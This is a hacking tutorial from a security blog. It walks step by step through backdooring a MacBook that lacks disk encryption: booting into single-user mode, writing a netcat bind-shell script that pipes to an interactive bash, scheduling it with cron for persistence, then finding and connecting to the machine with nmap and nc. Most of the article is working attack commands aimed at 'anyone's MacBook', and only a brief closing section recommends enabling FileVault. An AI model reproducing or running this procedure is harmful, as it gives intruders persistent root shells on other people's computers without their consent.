Hacking macOS: How to Configure a Backdoor on Anyone's MacBook « Null Byte :: WonderHowTo

Theconversationof which operating system is most secure, macOS vs. Windows, is an ongoing debate. Most will say macOS is more secure, but I'd like to weigh in by showing how to backdoor a MacBook in less than two minutes and maintain a persistent shell using tools already built into macOS.Windows 10 is definitely not hackproof, but in this guide andupcoming articles, I'm hoping to help debunk the common misconception that macOS is more secure.To my surprise, macOS does not useFileVault hard drive encryption(though it may ask to enable it during a clean macOS install/upgrade) by default. Those who do enable it may end up disabling it later due to slower write speeds or encrpytion negatively impacting the CPU. The absence of hard drive encryption allows attackers complete access to the files on a MacBook — without a password.Don't Miss:Connect to MacBook Backdoors from Anywhere in the WorldLive Off the Land & Maintain PersistenceThere are quite a few payloads, RATs, and backdoors which can be deployed against MacBooks. To keep things simple, I'll exercise a technique coined "living off the land", which encourages penetration testers to utilize as many resources already present on the compromised device during post-exploitation attacks. This means not installing advanced payloads which actively evade antivirus detection but instead usingapplications which are already installedand will not be flagged as malicious.Netcat(referred to as onlyncfrom the command line) is a networking utility which can be used to create TCP or UDP connections. Its list of features includes port scanning, transferring files, and port listening to create backdoors into operating systems and networks. Netcat is one of the tools already built into macOS that will be utilized during this attack.Cronis a task scheduler found in Unix-like operating systems such as Debian, Ubuntu, and macOS. Cronjobs are often used by system administrators toautomate repetitive tasks, such as creating weekly backups, and executing a specific task when the OS reboots. To ensure the Netcat backdoor is always available, a cron job will be created to persistently open a new Netcat listener after it's closed.Don't Miss:The Ultimate Guide to Hacking macOSStep 1: Enable Single-User ModeTo begin the attack,single-user mode(another feature of macOS), will be used. Single-user mode was designed for troubleshooting, debugging boot errors, and repairing disk issues, among many other administrative tasks. Unfortunately, single-user mode is very easily accessed and abused by hackers.To access single-user mode, power on the target MacBook while holding theCommand+Sbuttons on the keyboard at the same time. Continue holding both of the keys until white text appears on the screen.After a few seconds, the attacker will have access to all the files on the MacBook and a root terminal — no passwords required. That's all there is to it. However, if the target device is indeed using FileVault encryption, booting withCommand+Swill instead prompt a password login screen. If this is the result, the device is not vulnerable to this attack.Step 2: Check the DiskAs per the single-user terminal, first usefsck, a utility for checking macOS filesystems for abnormalities. Running this command isn't used to compromise the device but should not be skipped. In my case, thefsckcommand completed in less than 60 seconds using a 250 GB solid-state drive./sbin/fsck -fyStep 3: Mount the Hard DriveNext, the hard drive will need to be mounted withreadandwritepermissions, allowing attackers the ability to add malicious files to the laptop. This can be done with the below command, which should complete in just a few seconds. With the ability towriteto the disk, the Netcat backdoor can be created./sbin/mount –uw /Step 4: Create the Netcat ListenerFacilitating persistence to the backdoored device as it moves between Wi-Fi networks in different parts of the world is outside the scope of this demonstration, so stay tuned for future articles. For now, I'll show how to connect to the backdoored MacBook on a shared Wi-Fi network.For simplicity sake, I'm saving the persistence script to the /etc/ directory and calling the filepayload. In real attack scenarios, it would make sense to hide the file in a different directory with a less obvious name.Nano can be used to create the script using the below command.nano /etc/payloadType the following Bash script into the nano terminal, then save and exit by pressingCtrl+X, thenY, thenEnter/Return. The script will need to be typed manually while in single-user mode, so I tried to keep it as simple as possible. There are a few things going on in the script, so I'll break it down for readers who aren't familiar with Bash.#!/bin/bash
n=$(ps aux | grep -o [1]234)

if [[ $n = "" ]]; then
    mkfifo f
    nc -l 0.0.0.0 1234 < f | /bin/bash -i > f 2>&1
fiThe Netcat listener will open port1234on the macOS device. The first line (n=$(ps aux | grep -o [1]234)), creates a variablen, which checks to see if port1234is already open. This port detection is achieved usingps, a tool used to view running background processes.The following line (if [[ $n = "" ]]; then) is the start of anifstatement which saysifthe variablen(port 1234) is not found,mkfifo, a tool used to create a "named pipe," will create a file calledf. The filename here is totally arbitrary and uses "f" for simplicity.Followingmkfifois the Netcat command (nc -l 0.0.0.0 1234 < f | /bin/bash -i > f 2>&1), which opens port1234on every available IPv4 interface (0.0.0.0) and uses theffile to pipe terminal commands to and from the backdoored device.Step 5: Use Cron to Execute the ScriptThat's it for the Netcat script. Next,crontab, a feature ofcron, will be used to schedule the Bash script ("payload") to execute every 60 seconds. The below command can be used to accomplish this.env EDITOR=nano crontab -eA new nano terminal will open. Type the below into the nano terminal, then save and close the nano terminal.* * * * * /etc/payloadReaders interested in scheduling cronjobs at intervals other than 60 seconds should check outOle Michelsen's articleon using crontab in macOS (previously Mac OS X).Step 6: Elevate the File PermissionsFor the final step, the script file permissions should be upgraded using the belowchmodcommand.chmod 777 /etc/payloadStep 7: Shutdown the MacWhen that's done, enter the below command into the single-user terminal to shutdown the laptop.shutdown -h nowThat's it for backdooring the macOS device. When the owner of the laptop turns the device on, the Netcat listener will execute every 60 seconds (if it's not already running) and allow the attacker access to the device on the same Wi-Fi network.Victims of this attack who aren't actively inspecting open ports and background services for suspicious activity will not easily detect this backdoor. In future articles, I'll show how to enhance this script and obfuscate its signature to actively evade detection — so stay tuned.Step 8: Connect to the Backdoored MacFrom any computer on the network,Nmapcan be used to find the device's IP address on the router.nmap -p1234,65534 -O 192.168.0.1/24OS detection (-O) requires at least 1 open and 1 closed port to accurately fingerprint the operating system, so one or more random ports should be included in the command. In my example script, Netcat was set to listen on port 1234, so that port was included in the command. If there are several Apple devices on the network, the backdoored laptop will be the only device with port 1234 in an "open" state.After locating the IP address of the backdoored device, connect to the MacBook with the below Netcat command.nc 192.168.0.65 1234Step 9: Fix the Misconfigured Source FileAs stated earlier, withpost-exploitation attacks, it's better to "live off the land" and useprograms and tools found on the operating systemto further compromise the target device.After establishing a connection to the Netcat listener, the shell will likely be primitive with no knowledge of where programs are located on the OS. For example, usingifconfigto view interfaces fails with "ifconfig: command not found."To fix this, use the belowsourcecommand.source /etc/profileUsingifconfigagain now works as expected.Step 10: Fingerprint the Backdoored DeviceSoftware and hardware enumeration can now begin. An example of this would be using Apple's built-insystem_profilercommand to gather information for version-specific payloads and exploits. Theunamecommand can also be used to view kernel version information.Infuture articlesI'll show how to establish persistence to compromised MacBooks as they move between Wi-Fi networks anywhere in the world, how to obfuscate Netcat to evade active detection, and how to generate and use advanced fully-featured payloads.How to Protect Yourself from Single-User Mode AbuseIf you don't want a hacker doing this to your computer, the answer is simple:Enable FileVault. Apple's full-disk encryption helps prevent unauthorized access to the information on hard drives and hardens single-user mode access.FileVault can be enabled by navigating to "System Preferences," then "Security & Privacy," and clicking "Turn On FileVault" (you may need to unlock the settings first). When it completes, the MacBook will restart and require a password to unlock the computer every time the Mac starts up. No account will be permitted to login automatically and accessing single-user mode will also require a password.Instructions:How to Enable Full Disk Encryption in macOS to Protect Your DataIf you enjoyed this article, follow me on Twitter@tokyoneon_. For questions and concerns, leave a comment or message me on Twitter.Follow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byTheUknownPhotographer/Pexels(modified); Screenshots by tokyoneon/Null ByteRelatedHacking macOS:How to Use One Python Command to Bypass Antivirus Software in 5 SecondsHacking macOS:How to Remotely Eavesdrop in Real Time Using Anyone's MacBook MicrophoneHacking macOS:How to Install a Persistent Empire Backdoor on a MacBookHow To:The Ultimate Guide to Hacking macOSHow To:Hack Facebook & Gmail Accounts Owned by MacOS TargetsHacking macOS:How to Perform Privilege Escalation, Part 2 (Password Phishing)Hacking macOS:How to Connect to MacBook Backdoors from Anywhere in the WorldHacking macOS:How to Dump Passwords Stored in Firefox Browsers RemotelyHacking macOS:How to Sniff Passwords on a Mac in Real Time, Part 1 (Packet Exfiltration)Hacking macOS:How to Secretly Livestream Someone's MacBook Screen RemotelyHacking macOS:How to Automate Screenshot Exfiltration from a Backdoored MacBookHacking macOS:How to Hack a Mac Password Without Changing ItHacking macOS:How to Perform Situational Awareness Attacks, Part 1 (Using System Profiler & ARP)Hacking macOS:How to Perform Privilege Escalation, Part 1 (File Permissions Abuse)Hacking macOS:How to Hack a MacBook with One Ruby CommandHacking macOS:How to Use One Tclsh Command to Bypass Antivirus ProtectionsHacking macOS:How to Create a Fake PDF Trojan with AppleScript, Part 1 (Creating the Stager)How To:Hack MacOS with Digispark Ducky Script PayloadsHacking macOS:How to Hack Mojave 10.14 with a Self-Destructing PayloadHacking macOS:How to Bypass Mojave's Elevated Privileges Prompt by Pretending to Be a Trusted AppHacking macOS:How to Create an Undetectable PayloadHow To:Bypass Gatekeeper & Exploit macOS 10.14.5 & EarlierHow To:Create a Bootable Install USB Drive of macOS 10.12 SierraHacking macOS:How to Break into a MacBook Encrypted with FileVaultHacking macOS:How to Perform Situational Awareness Attacks, Part 2 (Finding Files, History & USB Devices)Hacking macOS:How to Dump 1Password, KeePassX & LastPass Passwords in PlaintextMac for Hackers:How to Get Your Mac Ready for HackingNews:What REALLY Happened with the Juniper Networks Hack?News:'Messages in iCloud' Finally Available for Macs, Not Just iOS DevicesHow to Hack with Arduino:Building MacOS Payloads for Inserting a Wi-Fi BackdoorHow to Hack with Arduino:Tracking Which Networks a Mac Has Connected To & WhenHow To:Install 16GB DDR3 into Unibody Macbook Pro (2011)Hacking macOS:How to Create a Fake PDF Trojan with AppleScript, Part 2 (Disguising the Script)Mac for Hackers:How to Install the Metasploit FrameworkHow To:Check Your MacOS Computer for Malware & KeyloggersNews:Ubuntu Usb on MacbookNews:"This Guy Has My MacBook"—A Tale of Evil, Redemption & the Power of the App